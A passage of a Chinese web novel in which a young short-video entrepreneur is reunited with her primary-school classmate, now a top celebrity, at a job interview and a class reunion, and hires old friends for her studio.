因为和小时候相差太大了,程晏西最开始还有些不敢置信。 但“秋”这个姓氏,还是很稀少的,不可能在同一个地方出现这么大的巧合。 程晏西的眼中冒起光点,指着照片的人:“我要她!” 经纪人看着他的选择,有些抗议,现在是粉丝敏感时期,最好不要再选个女助理,触动粉丝敏感的神经。 但不知为什么,程晏西极力坚持。 程晏西是目下霍氏最重要的顶流明星,在公司有极大话语权和自主权,一个生活助理的事,还是有选择权的,经纪人只能答应。 找来照片里的人,亲自交谈道:“秋小姐,您的履历我们非常满意,但您的条件好像与我们要招聘的经纪人岗有些出入,不知道您能接受调岗吗?” “不接受。”“秋小姐,我看您的简历,是x大传媒导演系毕业,您来我司应聘经纪人岗,说明您接受非本职的职业安排,那您为什么不能接受一个更有利于您的职位变动呢,您甚至没听我说工作内容是什么。”“如果我有别的职业安排,我会自己在报名时填,没有填说明我只想应聘经纪人岗,所以我不接受任何调岗。”程晏西的经纪人缓缓靠向椅背,他是个成名的经纪人,从他能负责霍氏最大的明星程晏西来看,可知他的地位不一般。好声好气说话,不代表他脾气好,面试人越刺头面试官越喜欢的那种,往往来源于艺术创作。大多数人还是听到不顺耳的话就反感,经纪人心里已经不高兴了,还是微笑道: “秋小姐不要妄下决断,还是听我说工作内容,我说的新工作,是让你给我们晏西当助理。” 这次秋天怡倒是顿了一下:“晏西,程晏西?”经纪人微笑点头,程晏西三个字在年轻女孩群体里还是比较有杀伤力的。在看到秋天怡简历的时候,经纪人就没把她当回事。学的导演,却报名了经纪人岗,肯定是因为在原专业吃不开。女生学导演找不到工作的很多,她都转就业路线了,还有什么不好拿捏的。经纪人依然微笑着看向她:“是的,如果是让您给程晏西做助理,您可以接受调岗吗?”秋天怡沉默着不说话。 程晏西,还真巧啊,说起来,她会弃文从艺,还多亏了他呢。 秋天怡有记忆以来,就是一个没有理想的人,在别人还想着当科学家、宇航员的时候,她已经有意识,什么工作好做什么。 她有时候觉得自己小时候的记忆怪奇怪的,小时候的她看起来非常赤诚热情,感情充沛,仿佛爱与正义的化身。 但她有时候不能完全代入小时候的自己,总感觉那么阳光的特质,出现在她身上挺违和的,她好像没那么开朗。 就这么漫无目地活了十八年,遇到了一件改变她一生的事。 在某次坐公交的路上,两个比她还小的初中生模样人,兴奋地讨论着喜欢的明星相关内容,因为有两个人互相交流,逐渐没有顾忌。 “蹭姐终于原形毕露了,之前她的粉丝还吹她带火了小晏,其实我整个剧里最无语的就是她演的女主,要不是为了小晏根本坚持不下去。“同伴立刻附和:“我也是!我也是!现在终于有人发现她的奇葩了!” “哈哈哈,新电影票房估计不到三千万,超级血扑,粉丝努力挽尊呢,拿着高p图狂吹美貌。” “我就没觉得她好看,我当时看剧的时候就觉得小晏同框秒杀女主,给你看这个图!” “啊啊啊!太帅了!当初就是蹭姐粉在开播的时候带节奏说男主丑,蹭姐粉干的事我一辈子忘不了!” 秋天怡在旁边听着她们交流,发誓自己不是诚心偷窥,但是她太好奇了,就瞥了一眼。 然后就看见一个五官明艳夺人的漂亮女演员,和一张仿佛进化没完全的类猿类脸。 秋天怡: 能赔她点钱吗? 像秋天怡这种极度自我为中心的人,是不能接受别人忤逆她的,包括审美。 一想到有人指着一张猴子脸说比旁边的美女好看,她的心中就腾的一声升起怒火。 因为这怒火,她亲自去搜了那位叫“小晏”的猴脸明星是谁,并亲自观摩了那部据说男主艳压女主的剧。 然后在艳压评论下如实打下观后感:“并没有艳压,相信没开播时看到的,没开播时觉得他丑就是丑,不要怀疑自己。” “后期觉得他不丑了,纯粹是这部剧的剧情重心完全在男主身上,给他平庸的脸和演技,镀了一层人设滤镜,让你的大脑开始期骗自己。” 程晏西就是那一部剧爆成顶流的,他的粉丝瞬间把她的评论区爆破。 “笑死,蹭姐粉来了。”“有时间支援一下你姐的票房吧!”然后是一连串女主黑图攻击。秋天怡:她既不是女主粉,也不是男主黑,现在她是男主黑了。 一上头,就支援了女主演员两张票房,她不相信所有人眼睛都瞎了,明天就票房逆袭! 然后进去后才发现,那部电影确实很烂,要是票房能起来,问题就更大了…… 难以形容当时秋天怡的心情,仿佛凭空被扇了好几个耳光,还打不回去。 但这种挫败并不影响她的认知。 男主比女主丑是客观存在的,男主业务能力比女主差也是客观存在的,但男主和女主的后期发展完全不符合客观规律,一定是发生了什么影响大众认知的事。 秋天怡最是一个不能忍受委屈的人,哪怕只是网上和人吵架,也要证明自己是正确的,她要亲自入行! 但她讨厌程晏西,是一件概念上的事,她讨厌的是程晏西身上附带的综合,而不是他本人。 现在这种讨厌具体了呢。 青青:调你爹的岗,是你的岗吗你就调。程晏西是艺名啦,所以秋天怡不知道他是自己小学同学。然后小时候那个救赎所有人的小太阳也不是青青,是原版秋天怡,青青不是那么阳光的人,她是一个网上吵架都能产生戾气的人,以为不知道剧情就不会产生,太天真了[笑哭]。 104、《暖暖掌中光》 秋天怡心情瞬间暴差,似笑非笑地看向程晏西的经纪人:“那我可以问一下吗,您为什么觉得我很适合给程晏西做生活助理?” 见她松口,经纪人瞬间笑了,他就知道很少有女生能拒绝接近程晏西的诱惑,微笑道:“说来你可能不信,是晏西亲自选的你,相信你们两个可以磨合得很好。” 听到这,秋天怡缓缓坐正身体,露出一个微笑:“那是什么让他自信到认为可以给我调岗,以为自己很火,报出个名字就可以为所欲为吗?” 经纪人:…… 这下她语气中的不善,连经纪人都听出来了。 这还挺严重的,程晏西毕竟是个流量明星,一有风吹草动,都会引起轩然大波。 经纪人连忙道:“秋小姐不要误会,晏西是出于对秋小姐的欣赏,才做这个决定的,不是对您有什么不尊重。“ “那他不识字吗,看不见我应聘的什么岗位?” “是我们的工作有些疏忽,但是岗位调整,也是正常变动,我司的岗位很多,招的人也很多,经常需要配合调整。” “那我不接受,并且我在报名的时候就勾选了不接受调岗,在我来之前,一直认为霍氏是一家底蕴深厚的公司,请贵公司表现出一些专业态度。”经纪人:…. 现在的小年轻,可是越来越狂了,受一些网上言论的影响,就真以为自己能整顿职场了。 经纪人心里不高兴,但作为老油条,他当然不会在面上表现出来,笑着开口:“好了,秋小姐的心意我们已经知道了,您先回去等消息吧。” 秋天怡没有二话,转身离开。 等她走了,经纪人翻了个白眼,调整好状态,给程晏西打电话:“晏哥,恐怕不行啊,新人不同意。” 程晏西立刻开口:“为什么?” 这次不用添油加醋,程晏西也能知道为什么,经纪人将会谈内容和盘托出。程晏西没想到能引起这样的误会,立刻放下手里的一切追出去:“天怡!天怡!”和经纪人交谈完,秋天怡就走了,话不投机半句多,虽然她有目的地来应聘,但让她忍受讨厌的明星是不可能的。 计划从长计议,这个霍氏不进也罢。 她一时兴起,转身就走,突然听见背后有人叫他名字,还挺亲切的,不禁回头:干啥? 一回头,没想到是一个非常熟悉的人,嗯,电视上熟悉。 秋天怡立刻拉下脸,一脸冷漠道:“有事?” 程晏西看她样子,就知道她因为刚才的事误会了自己,立刻解释道:“天怡,是我啊,你不记得我了!” 秋天怡没想到他会这么说,不禁一顿:“你是?” 程晏西立刻道:“我是程隽啊!”秋天怡停了一下:“程隽?” 他说了,秋天怡也没get到,慢慢搜寻脑海里的记忆,搜了很久,突然从沉底的记忆中搜出一个名字。秋天怡机械转头,缓缓看向他:“是我想的那个程隽吗?”程晏西没想到过去这么久天怡还能记得他,瞬间点头,高兴极了。 秋天怡:…她突然想静静…… …… 恨了好久的明星,是自己小学同学怎么办? 秋天怡坐在餐厅里安静如鸡。 久别重逢的老同学相见,当然得聚一下,霍氏附近的餐饮店,经常有明星进出,隐私保护得很好,程晏西很积极地要请秋天怡吃顿饭。没有人知道秋天怡现在的心情有多复杂,但既然没有人知道,她就装作没人知道。 一本正经地拒绝,AA吧,她习惯AA。 程晏西是个很体贴的人,秋天怡要求,就没继续坚持,担心秋天怡经济不好,还特意让秋天怡选饭馆。秋天怡考虑他是个明星,可能会有身材管理方面的需求,就找了一家口味清淡的粤菜馆。 到了目的地,两人各自点了些菜,开始叙旧。 程晏西抢先开口:“这些年还好吗?” 秋天怡很想说好,但她的好恐怕和已经成为顶流明星的老同学难以相提并论,就公事公办道:“还行。” 程晏西能感受到她的疏离,但也理解。 感慨道:“时间过得真快,大家都长大了,和过去不一样了。” 秋天怡点头表示同意,那可太不一样了。 饭菜上来,两人边吃边聊,提起往事,都很开心。 汤足饭饱,程晏西双眼亮晶晶地看着她:“那天怡,你能来做我助理吗,你不要误会,我是认出你才想要你来的!” 秋天怡沉默不语。 多年老同学重逢,她在苦哈哈面试,老同学却成了面试公司非常有话语权的高层,很难形容那种感觉。 但秋天怡不是一个喜欢为了情绪放弃利益的人,立刻道:“谢谢你程同学,但我真是来应聘经纪人的,你能在霍氏那边,帮我说说话吗?” 程晏西:… 他很想每天见到天怡,但是温柔的本性,又让他很难拒绝秋天怡的要求。 便点头:“好的,天怡想干什么,我都会帮忙的,就是我们能交换个联系方式,常常见面吗?” 那秋天怡哪有不同意的。 她之前确实很讨厌程晏西,但如果程晏西是她老同学,还和她有交情,那当然要一码归一码! 光速掏出手机,完成交换,看起来比程晏西这个申请人还积极,搞得程晏西有点手足无措。 天怡还是那么开朗啊…… 交换完联系方式,差不多就该告别了。 程晏西想送秋天怡回去,却被秋天怡拒绝了,只能遗憾道: “当年天怡走得很突然,我们那些伙伴都很想念你,有时间咱们可以聚聚吗?” 其实这么多年,那些小学同学,秋天怡差不多都忘光了,但遇都遇到了,见就见吧,就开口道:“行,你联系吧。” 程晏西满心欢喜,他最怀念的,就是小学时光。 如果大家还能见一面,真是太好了! …… 同学聚会这种东西,大学都不好联系,更不用说小学了。 孩童时,每个人都相信自己以后大有可为,和身边的同学相处,也不觉得有什么不同。 但等步入社会,差距瞬间拉开,才发现曾经触手可及的同学,已经变成了只能仰望的人,这样的心理落差,不是每个人都能接受。 但这次不同,这次牵线的是程隽同学和秋天怡同学。 程隽是个烂泥扶不上墙的死胖子,秋天怡听说死了妈,现在还不知道怎么样呢。 以前欺负过程隽,和被秋天怡教训过的人,顿时跃跃欲试,想看两人的笑话。 而秋天怡当初在班里人缘好,尤其是她同桌,在她走后,哭得昏天黑地。 长大虽然很多感情都淡了,但童年的回忆,对人来说意义还是很特别的。 和秋天怡相好的小伙伴,听说能再见童年玩伴,也兴奋地赴约。 但人长大了,终究会有成人的小心思。 每个人都不想被别人看扁,各自拿出自己压箱底的东西,向同学表明自己这些年混得不错。 其中有个叫王强的,他早不念书了,东混西混,没个定性,在家啃老。 但为了装一下,戴个假金链子,假戒指,一脸财大气粗地来赴宴。 来的人一个比一个夸张,只有傻兮兮以为只是同学聚会的杜妍晨无语,喂!只有她刚参加工作吗! 虽然来了好多“社会人”,但毕竟是童年玩伴,很快摒弃了隔阂,畅聊起来。 众人聊得愉快,王强突然提了一嘴:“咱们都来了,怎正主没来呢,程隽呢,秋同学呢?” 杜妍晨那时候和秋天怡一桌,关系非常好,王强从那时就一肚子坏心眼,她至今也不喜欢他,爰答不埋道:“在路上呢呗,不来早说了。” 王强对她这个书呆子也很不喜,嬉皮笑脸道:“那来了可要喝几个,不知道在哪发财呢,摆这么大谱。” “咱们就是老同学一起聚聚,管那么多干什么。”“关心他们嘛,听说秋同学的妈没了,这些年日子也不知咋过的~”杜妍晨:…这家伙看似关心,实则想看笑话,把杜妍晨气得不轻,谁把这货也叫来了。王强的脸皮却异常厚,旁若无人地吹起牛来,一堆一听就是在瞎扯的东西,听得杜妍晨恨不得堵住耳朵,转头和身边的同学交流,不理他。王强沉浸在侃大山的快乐里,突然间,空气一静。 王强以为别人被自己的话镇住了,正要得意,就发现众人看的不是他,而是包厢外。 门口站着一个就算王强,也熟知的人,这人看见他们微微一笑,推门进来。“不好意思,公司临时有点事,来晚了。”但是没人在乎他晚来的事,包厢内立时有女生惊叫起来:“程晏西!你是程晏西!”程晏西见惯了大场面,温柔着笑道:“是我,我也是程隽,进圈后,改了个艺名。”一句话落地,瞬间引发海啸。多年不见的同学会重逢,曾经被人看不起的小胖子,居然变成了顶流明星,这说出去谁信啊!王强瞬间站起来:“不可能,是不是程隽雇你来的!”程晏西看向王强,这个曾经欺负他最多的人,微笑道:“我有什么必要那么做呢。“王强:……曾经被自己任意欺负的人,过得比自己好一万倍,让王强瞬间心理失衡到发疯。但是已经没人在乎他了,所有人都被这个惊人的消息砸晕,争先恐后地向程晏西搭话。王强受不了不被人重视的感觉,就重重地咳了一声:“那秋天怡呢,她怎么还不来,她也成大明星了?”听他的语气,程晏西才意识到,这个人恐怕对天怡也有坏心思。正思索该怎么应对,包厢的门再次打开。秋天怡一头银白头发,衣着前卫地进来,将带着豪华车标的钥匙随手放在桌子上,对着所有人微笑。 “不好意思,来晚了,这里不太好停车,转了半天才找到停车位,你们没等太久吧?” 105、《暖暖掌中光》 人群又是一片震惊。 在小学时,小朋友间就有贫富观了,所有人都知道秋天怡只是个普通工人的孩子,她妈妈死后,自然不可能过太好,有人为她担心,自然也有人想看她笑话。 但秋天怡进门表现得一切,和众人想象的可完全不一样。 王强被打了两次脸,心态瞬间爆炸,阴阳怪气地看向秋天怡:“哎哟大班长,最近干什么呢,发大财了?” 秋天怡当初还在那个学校的时候,很得老师同学喜爱,被选为班长,算是事实,但现在这么叫,一听就没好话。 秋天怡笑着看向他:“什么大生意,在网上做些自媒体,混口饭吃罢了,请问你是谁家的叔叔吗,孩子这么大了还不放心她来参加同学聚会,真负责任啊。” “哈哈哈。”包厢里瞬间笑成一团。王强为了装一下,打扮得很社会,确实挺有威慑力,但这也让他在一群大学生年纪的人里显得非常成熟。一般人知道但不说,没想到秋天怡直接说了出来,反正不是自己说的,那就笑呗,哈哈哈。王强气得脸都青了,咬牙切齿道:“大班长真是贵人多忘事,网上干什么工作,没准我还给班长消费过呢。”他的恶意,几乎没有遮掩,秋天怡“啊”了一声,靠近身边人仿佛问了什么,等身边人捂着嘴告诉她,她才恍然大悟。“原来是王同学啊,你长得也太着急了,我都没认出来。”“那你有点想多了,现在做自媒体的都主要培养女性用户才好变现,你不是我们的客户目标,应该刷都刷不到。”“而且王同学你那么有钱吗,那这次聚餐你就包了呗,有钱就要大方点啊,还让我们这些老同学掏钱?” “哈哈哈!” 人群又是一串笑声。 王强被噎了两次,脸都绿了,可是要他承包这次聚餐的全部费用,他又有点心疼,耿着脖子道:“有班长在,哪还用别人啊。” 这下所有参加聚会的人,都知道他在装了,真是没眼看,懒得和他纠缠。身边的女同学好奇地凑到秋天怡身边,满怀期待地问,那是时尚博主吗?秋同学现在真的和原来太不一样了,潮的没眼看,为了工作就很好理解了!秋天怡又微笑着摇了摇头:“都不是,你们听过‘59分菜菜’吗?” 众人先是一顿,然后一片惊呼:“你是菜菜!” 秋天怡但笑不语。 网络时代,不管是老是少,都喜欢在线上娱乐,那么大的风口流量,不知什么时候就推出一个大网红。 前些年,突然冒出一个“手姬拍故事”的媒体号,是一群自称电影学院在读女大学生,展示挂科作业用的,纯手机拍摄,拍各种离奇作业。 群在校大学生,还是纯手机拍摄,能拍出来啥效果,可以想象。 但网络行业不讲理的一点就是,一板一眼的内容有时候并不吸引人,反而是一些奇葩视频更能留住观众。 手姬拍故事的博主“59分菜菜”,经常往自己的账号上放一些视频,然后语气充满不忿地让大家审判她的老师。 “又挂科了,我明明好好拍了,老师却给我打了59分,你们评评理,那一分扣哪了!” 【视频】。 大学生一听挂科,立刻想点进去,结果一看,正在吃饭的那可遭老罪了,嘴里的饭差点呛鼻子里。她们真的不想笑啊,但谁告诉她们该怎么停下来!视频里的笑点就像赶集一样密集,上个还没笑完,下个就来了,根本不给人换气的时间。每个看视频的人,都要循环播放好几遍,才能处理完所有信息。因为前面笑到大脑缺氧,一般的肺活量根本处理不完一整个视频的信息,哈哈哈!不出所料,这个跨界喜剧视频瞬间火了。 喜剧人绞尽脑汁,比不上电影大学在读女大的灵机一动,屏幕前不知笑瘫了多少网友,养活了多少视频号。 网友也玩梗玩到飞起—— “点进前义愤填膺:什么仇什么怨,给59分!点进来后:什么恩什么德,给59分!” “博主别问那1分扣那了,先去和导师做个DNA鉴定,我们这没有血缘关系,一般是不会给59分的,你别是导师失散多年的孩子。“ “博主上春晚吗,我觉得您的项目很适合春晚当天看。”“别别别,春晚是一个合家欢的场合,笑死人就不好了,我们医学生春节也想放假啊!”网友的嘴和淬了毒一样,留下无数暖心评论,博主不服气,继续上传自己的大作,证明自己。但她拍一次,网友笑抽一次,最后受不了了,纷纷呼唤:回家吧,孩子,回家吧,你选错专业了,现在去拍小品好吗!就这么笑了好长时间,笑到博主都带货了,账号下突然冒出一条质感非常优异的三分钟视频,点进来本来打算笑的网友,突然反应过来:不对!这次发布的,是一个一单元结束的微恐故事,故事女主觉得自己的生活好像出了什么问题,她的家好像静止了,她没办法走出房间,她家里所有东西都一成不变,她的家人都不见了!女主在静止的房间拼命挣扎,然后在十二点的钟声响起时,突然停下,机械转头,看向屏幕外,仿佛看见了什么可怕的事,又仿佛想起了什么可怕的真相。画面重新拉回女主刚出现的场景,一张被焚了一角的报纸逐渐给了个特写,暂停可以看见全部内容。报纸叙述了一个人家失火,大火把所有东西都烧毁了,只有一个老式挂钟完好无缺。据绝处逢生的原房主说,他们那个老式挂钟,总会在十二点的时候自动倒转,非常恐怖,不敢再住下去了,就封锁了房子。新的一天,女主继续怀念她的家人,虽然她的家人可能和大家想得不一样,全是“挂画小姐”“沙发小妹”什么的,但那确实是“她”的家人。前面恐怖气氛铺那么浓,后来揭秘女主不是人,是一个挂钟,放在剧本杀里是要被贴脸骂的。但怎么说呢,视频和文字的表现形式很不一样,视频可以多方面给人提供视听服务,观众就没有被耍的感觉,而是震惊,博主换号了把!博主只是笑嘻嘻回:嘻嘻,没挂科。网友大怒,本来大家一起菜,没想到你偷偷报班了,取关了!但玩梗喊取关,肯定不是真取关。 网友当然知道博主是在装疯卖傻博眼球,但自己也收获了快乐,那肯定舍不得取关,粉丝不知不觉超过五百万。 网络时代,流量真的很好变现,秋天怡经营账号最火的时候,一条广告报价就有50万。 靠妈妈留给自己的160万吃老本当然不行,只有钱才能生钱,秋天怡一入学就做好做自媒体的规划。 X大传媒是全国最顶尖的艺术类院校,未来可能诞生很多大演员、大导演,但在她们刚上大一的时候,还不值钱。 秋天怡专门去找各专业吊车尾的学生来合作,至于为什么不找好学生,好学生有更好的出路,轮不到她挑。 所以最后她聚来了一个制作专业的,一个编剧专业的,一个营销专业的,两个表演专业的,一起大学生创业,搞自媒体,她兼职导演和出资人。 那些人当然不怕和她一起创业,毕竟她们什么都没有,但六个刚入学的大一生面面相觑,其实我现在刚学行业史,你信吗? 那当然是不怕的,秋天怡也没打算给她们开工资。 她提前和众人约定好,不赚钱她投钱,赚了钱就按比例分红。 虽然不给到手的工资,但这无本看起来又有前途的创业,谁不想做。 大部分大学生还处于家里有人供的脱产状态,不用焦虑现实问题,立刻开干,最后竟然真的做出了名堂。 赚了第一笔钱后,秋天怡立刻注册了一个工作室,并买下房东的房子,作为固定拍摄基地和工作室办公点。 那栋房子因为闹鬼传闻,房东要价非常低,秋天怡收的很划算,隔壁也闹鬼,没人告扰民。 秋天怡就将地板重装了一下,做好隔音,布景什么的因为拍摄经常换,反而没好好整。 当时规则怪谈什么的很流行,恐怖故事也是最适合拍摄短视频的题材,太长了反而会拉低那种细思极恐的感觉,她们就经常拍一些规则怪谈系列,民俗小故事,恐怖小短片,吸引了一批固定受众。 因为前期的极端笑料,引来第一波大流量,又因为后期的精品小故事,维持住了客源,在校大学生纯手机拍摄也有噱头。 手姬拍故事这个自媒体号早就能稳定营业了,六个原始创业人,在大学时期就实现了财富自由。 其中秋天怡作为牵头人和投资人,占据了最多的股份,赚得最多,大学时就买车买房了,不是那个老旧房,而是一个精品公寓,地理位置非常好,设施齐全,只她一个人住,很舒适。 但车什么的,她现在只有一些代步需要,没有高端需要,就买了个二手的先开着。 没想到突遇老同学,老同学还成了金光闪闪的大明星,自己苦哈哈面试还被他看见了,秋天怡心里很憋屈。 比起被人恨,她更受不了被人怜悯,和程隽的偶遇,刺激了她可怜的自尊心,立刻卖了那个破二手,换了自己想买但一直没有下决心的那款。 全价八十来万的车,在豪车中算经济款,但买大品牌的意义就是一个车标拿出来都很唬人。 当初她在小学同学里可是万众瞩目的班长,所有人都以她马首是瞻,如果聚会的时候被同学比下去,该多丢脸,肯定会成为老生常谈的惋惜话题。 秋天怡受不了这个,必然要在聚会时隆重出席。 她要让所有人看着,她秋天怡小时候出色,大了也出色,想看她落魄的,省省吧。 …… 人群的热情被点燃,纷纷向着秋天怡凑去。 虽然从现实角度来说,程晏西的社会成就更高,但还是秋天怡更有话题度,人们顿时被她的一切吸引,争先恐后问她离开后的事,和创业的一些细节。 秋天怡—解答,并在有人问她可不可以去她那工作的时候,笑着应答:“你们愿意去我当然乐意,不过我那其实没什么好活,言怕你们这些高才生干不下去。” 人群又是一阵哄笑,所有人都向秋天怡围过去,就像小时候那样,她在人群中就是焦点。 不仅王强这样的被人忽视了,连程晏西都被忽视了。 程晏西确实是顶流明星,一群人中最有出息的那个,但他的成功离普通人太遥远,反而让人有些不敢靠近的拘束感,还是和秋天怡交流更亲切一些。 秋天怡在最后不仅加入众人的群聊,和众人重新恢复联系,还大手笔买了这场聚会的单,参加聚会的同学惊喜连连,整场聚会都是她的主场。 按理说,程晏西作为一直暗恋秋天怡的人,应该为她感到高兴。 但不知为什么,此时收获的,并不完全是喜悦…… 106、《暖暖掌中光》 不仅大装了一下,秋天怡也收回了一些童年友谊。 当初她同桌和她的关系特别好,如果没有意外,大概会是从小学到高中,一直的好朋友,没想到世事难料,如今的相逢,弥补了当初的遗憾。 曾经分隔带来的疏离,没一会儿就消失了,杜妍晨恨不得抱住秋天怡的脑袋猛蹭。 厚着脸皮问秋天怡:“你们真的还招人吗……我可以去吗…… 秋天怡点头:“当然是真的,我们工作室就那俩演员,根本不够用,你们谁比较有表演欲,都可以联系我,我肯定给你们安排角色。” 人群顿时笑成一团。 她拍的那些抽象视频还挺火的,每个人都看过,在里面表演抽风肯定挺有意思的。 但在人前表演这种东西,也不是所有人都能放下心理包袱,杜妍晨扭捏道:“都是表演类的工作吗,有没有文职工作…… 秋天怡看向她:“你大学学得啥?” “会计。” 秋天怡倒吸一口凉气:“有有有!我们最近正招会计呢,这么巧,你真愿意去干?” 杜妍晨刚毕业,找了一个不上不下的工作,本来对那个工作就没什么好感,如今小时候的玩伴开了一家公司,还是那么有意思的公司,不干白不干。 立刻开口:“我去!我真想去!” 这可真是天上掉馅饼的好事。 秋天怡的工作室名叫“六加六”,寓意着六个创始人,和欢迎更多的人加入。 为什么欢迎,太累了,六个人劈成12个人使,什么场务、灯光、服装、和广告商谈合同,全得她们几个一起上阵。 受不了,真受不了了,大家集体找她,工作室现在赚得也行了,该扩招了吧,老板! 老板舍得给自己买车,却舍不得给工作室招人,那当然是不好的,秋天怡最近就计划着招人呢。 纯专业的人,那还真不太好招,就算现在娱乐行业很火爆,艺术类也不是一个大众学科,总体基数就很少,当然不好招。 所以她想先将常规职位招齐,其中会计必然是第一个要招的,娱乐行业涉及财务非常复杂,要是没有一个专业的人把关,搞不好什么时候就会被坑。 正找人呢,就有人主动送上门来。 秋天怡微笑着看向她:“你想去我肯定欢迎,但我们公司风气你懂的,就是会计也得上台表演。” 杜妍晨: 作为“手姬”的忠实观众,她当然知道这个团队的风气,太缺人了,也没什么资金,不仅两个固定露脸的演员要去前台表演,四个幕后也得出来打工。 但幕后之所以成为幕后,还是有点露脸恐惧症,四个人专门给自己设计了一个纸袋头套,分别是剪辑小周、编剧小王、策划小吕,以及我们的大老板,“菜主任”。 缺人的时候,就是秋天怡自己,也得把镜头移给小周,自己带着头套亲自下场表演。 手姬拍故事大致走两个路线,一个是不挂科展现技术的精品路线,一个是挂科展现好笑的逗乐路线。 在逗乐路线里,就不用那么严谨,一群头套怪想怎么演怎么演,换个头套还能当新人物登场,露脸的演员也可以戴上头套秒变新人。 换头套可比换演员省钱多了,童工马婷婷,给个零花钱就库库画。 一想到自己以后也要带着头套表演,杜妍晨就有点……期待是怎么回事? 众所周知,戴上头套,看似是戴上了伪装,其实是放下了拘束,就是为了体验一下头套表演,她也要去啊! 杜妍晨假装纠结了一下,立刻深明大义地表示,你刚创业嘛,很难,我懂,我懂。 身为老同学,你有需要,我肯定义不容辞帮你,放心吧! 头套表演看似是劝退,实则是招生,人群更兴奋了。 “行政招吗?” “销售招吗?” “招,但我们这不叫销售,叫经纪人,主要负责拉投资和推销我们的文化产品。” “我会PS,能干你们这行吗!” “有点搭边,但你要往深里去,得去学剪辑,未来还得学点建模知识,要是真有这种学习毅力,公司可以给你免费报课。”人群越来越兴奋,好好一个同学会,成了招聘会,秋天怡不得不提醒她们。 “没有跟你们开玩笑,我们干网络行业的,一点不稳定,赶上流量赚一波,过几年审美疲劳了很容易完蛋,你们谨慎入行。” 这话说的,这年头,干什么不容易完蛋啊。网络起码是一块短时间不会没落的行业,有机会能入的,其实都想入。想加入的,把秋天怡围起来,几乎忘了旁边还有人。直到天很晚,才意犹未尽地各回各家,各找各妈。程晏西原本想趁此机会,和秋天怡多交流一下,没想到根本抢不过面试大军。临别的时候,本想送秋天怡一程,又猛然想到,秋天怡自己有车。秋天怡把几个没有交通工具的女同学安排在自己车上,坐不下的叫出租,喝了酒不能开车的叫代驾。剩下的男同学就交给程晏西了,微笑着跟他告别:“程同学,麻烦你了,以后咱们常联系。”这个安排很合理,程晏西却总觉得哪里不对劲。憋屈地送完男同学,回到住的地方,辗转反侧了半天,才鼓足勇气拿起手机,发了一个:“在吗?”秋天怡光速秒回:“在。”她这么快的打字速度,根本没给程晏西任何反应时间,程晏西反而不知道说什么好了。拿起手机,打了又删,半天组织不好语言,直到看见“对面正在输入”,才停下来,看秋天怡想说什么。然后就收到: “对不起啊程同学,今天聚会最后有点顾不上你了,把你晾在一边挺不好意思的,你小时候就有些腼腆,没想到长大了还这么腼腆。” “下次有机会,我单独请你一次,算是跟你赔罪。” “有的时候很感慨,大家好像长大了,又好像和小时候一样。”“程同学以后要好好的哦。”“我的事也麻烦程同学了!”【小熊转圈撒花花】 程晏西:……. 一开始看秋天怡打的字,程晏西的嘴角逐渐勾起,原来秋同学也在不知道的角落注意着他呢。 心里甜滋滋地往下看,就看到了最后一句……. 他得费力去想,才能想起秋天怡的事是什么,然后一颗心就沉到了谷底。 想打些什么,最后还是—删除,回了个:“嗯,秋同学早点睡吧。” 【晚安】 晚安? 秋天怡搞网络行业的,18g高强度冲浪,要是不知道晚安梗就完蛋了。那对面发这个是有双重意思,还是纯老年人上网速度,不知道这个梗,秋天怡心里打了一个圈。不过没关系,男女关系不就那么回事嘛,不告白就是好朋友,告白就拒绝。就是这种感觉挺讨厌的,一和男合作伙伴长期合作,就得开始提防他们突然告白那种事。不管老的少的,已婚的未婚的,有孩子的没孩子的。 你只要和他们接触超过一年的时间,有时候甚至只用一个月,他们就觉得可以和你产生爱情了,张嘴就把话题往暖昧上引。 有时候秋天怡真的无语到想报警的地步,大自然进化的时候没有带上男人吗,以至于他们脑子里只有这种东西。 这也是秋天怡公司只招女工的原因,和男人交流合作太费劲了。 和女人在一起只用谈工作,和男人在一起不知什么时候,他们就想往bed上拐,和有病一样。 秋天怡熟练地截图,留证,存到网盘上,防止后期程晏西真脑抽,要和她谈什么的。 暴露到外面,他的粉丝搞不好还要骂她心机女,勾引她们天真无邪的大哥哥,影响她事业。 不要说她被害妄想症,全女公司,最常见的就是私生活谣言。 不仅是她自己,她手下员工,秋天怡也叮嘱,出去谈生意,遇到往下三路撩骚的,直接录下来留证。 在这方面,可不要高估男人的廉耻心。 他们嘴上喊着,你又不是美女,谁乐意看你,把自己的姿态摆得很高,架势摆得很无辜,仿佛自己受了天大委屈。实际实操中,看到一个女的,就去打一竿子,打不到手,也要揩点油,说几句荤话,占些嘴上便宜。 一边说着你好看我才骚扰你,把自己的骚扰行为做成高高在上的施舍、奖励。一边在被骚扰人翻脸后,怒骂女生也不看看自己长什么样,谁看得上你!对自己没有数!拉自己的网络好兄弟,一起二次霸凌女生,让女生感到羞辱,不敢发声。在这方面,秋天怡怀疑男性群体是不是有什么集体意识,不停的ctrl+V。 一个套路,能在不同年龄段,不同社会地位,不同性格,不同外貌的男人身上,一模一样的重复发生。 但比较离谱的地方是,生活中那么常见,放到外界,就像冷知识一样,社会在这方面反而会更苛责女性。 男人撩骚被发现后,会立刻反咬一口,是女人勾引他,自己有老婆孩子,自己多爱老婆孩子。 然后老婆就来打小三了,吃瓜群众不明真相,就开始骂小三了。 但女人究竟是被男人骚扰了,还是真脑残了,喜欢勾引一头瘟猪,得女人自己来自证清白,这个社会习惯逼女人自证。 女人但凡当时没警醒,留下有力证据证明自己,后续就说不清了,卷入舆论风暴就会被群起而攻,很难翻身。 害人之心不可有,防人之心也不可无。 这种社会现象怎么产生的谁也不知道,改变不了社会,就改变自己吧,秋天怡在这方面非常谨慎。 程晏西大概想不到他在那边浓情蜜意,对方在背后疯狂截图。 总之在程晏西这个顶流明星的帮助下,秋天怡原本被告知回家等消息的面试,真等到了消息,正式入职霍氏。 程晏西虽然帮她,但也有些不解,她既然已经在外面闯下了一些名头,为什么还要入职霍氏呢? 秋天怡看向他,没有说话。 说真话怕你不爱听。 对明星不管是喜欢还是讨厌,那都是一种虚拟概念。 不能延伸到现实生活中,影响到自己和老同学的关系,但这不代表她当初那口气消了。 直到现在,秋天怡还是觉得,当初那部剧女主硬实力比男主好多了。 之所以男女主后续发展相差那么大,纯粹是霍氏那个傻叼公司不知道在干什么,和这个总是倾斜的社会,总能把女人轻易抛下。 被女主精心养护的美丽外表吸引来的观众,会在剧情开始后,随着剧情倾斜,向着男主滑去,反过来指责女主的浅薄。 美丽重要吗,重要,人对美丽有最原始的欲望,在娱乐圈,可以凭脸点进一部剧。 